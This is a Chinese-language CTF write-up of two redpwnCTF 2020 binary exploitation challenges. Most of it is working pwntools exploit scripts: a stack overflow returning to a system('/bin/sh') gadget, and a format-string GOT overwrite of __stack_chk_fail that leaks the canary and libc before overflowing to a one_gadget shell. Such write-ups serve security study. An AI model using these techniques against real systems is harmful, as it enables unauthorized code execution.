redpwnctf 2020 pwn

coffer-overflow-0
dead-canary

@TOC

coffer-overflow-0

第三道直接溢出返回到system(“/bin/sh”)就行了
前两道都是覆盖一个变量，或者和第三道一样，直接返回也可以

#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "amd64"
filename = "coffer-overflow-0"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)


# libc


def b(addr):
    bk = "b *" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    payload=b'a'*(0x28)+p64(0x00000000004006EE)
    io.sendline(payload)
    io.interactive()
main()

dead-canary

故意触发canary并且利用格式化字符串漏洞修改chk_fail函数ret2main，泄露canary和libc，再溢出到onegadget即可

#!/usr/bin/env python2
# coding=utf-8
from pwn import *
arch = "amd64"
filename = "dead-canary"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
main_addr=0x0000000000400737
__stack_chk_fail=elf.got['__stack_chk_fail']
# libc
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg_libc=[0x45226,0x4527a,0xf0364,0xf1207]
def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    io.recvuntil("What is your name: ")
    gdb.attach(io,b'b read')
    #####leak_libc_ret_main#####
    payload=b'%39$p%3$p%1815x%9$hnaaaa'
    payload+=p64(__stack_chk_fail)
    payload=payload.ljust(0x118, b'a')
    io.sendline(payload)
    io.recvuntil("Hello ")
    canary=int(io.recv(18),16)
    write_addr=int(io.recv(14),16)-0x10
    io.recv()
    print("canary:", hex(canary))
    print("write_addr:",hex(write_addr))
    #####count#####
    libcbase=write_addr-libc.symbols['write']
    ogg_addr=libcbase+ogg_libc[0]
    #####getshell######
    payload=b'a'*(0x110-0x8)+p64(canary)+b'b'*8+p64(ogg_addr)
    io.sendline(payload)
    io.recv()
    io.interactive()
main()

-------------本文结束感谢您的阅读-------------

赏

谢谢你请我吃糖果